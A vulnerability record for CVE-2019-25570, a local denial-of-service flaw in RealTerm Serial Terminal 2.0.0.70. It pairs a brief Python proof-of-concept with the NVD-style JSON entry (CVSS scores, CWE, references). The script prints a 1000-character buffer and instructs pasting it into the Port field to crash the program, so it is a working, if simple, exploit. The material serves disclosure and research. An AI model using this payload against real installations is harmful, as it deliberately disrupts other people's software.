CVE-2019-25570

# Proof of Concept for CVE-2019-25570 # This script generates a malicious string to crash RealTerm Serial Terminal import sys def generate_payload(length=1000): """Generates a buffer of 'A' characters.""" return "A" * length if __name__ == "__main__": payload = generate_payload(1000) print("[+] Payload generated successfully.") print("[+] Payload length: {}".format(len(payload))) print("[+] Copy the payload below and paste it into the 'Port' field of RealTerm.") print("[+] Click the 'Open' button to trigger the crash.") print("-" * 20) print(payload)

{"cve": {"id": "CVE-2019-25570", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:20.833", "lastModified": "2026-03-24T20:42:41.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RealTerm Serial Terminal 2.0.0.70 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Port field. Attackers can paste a buffer of 1000 characters into the Port input field and click the open button to trigger a crash."}, {"lang": "es", "value": "RealTerm Serial Terminal 2.0.0.70 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales hacer que la aplicación falle al proporcionar una cadena excesivamente larga en el campo Puerto. Los atacantes pueden pegar un búfer de 1000 caracteres en el campo de entrada Puerto y hacer clic en el botón 'abrir' para provocar un fallo."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1260"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:crun:realterm:2.0.0.70:*:*:*:*:*:*:*", "matchCriteriaId": "CBB4049D-EE6D-4CA8-B20B-5F32A28157EE"}]}]}], "references": [{"url": "https://realterm.sourceforge.io/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://sourceforge.net/projects/realterm/files/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46390", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/realterm-serial-terminal-denial-of-service-via-port-field", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}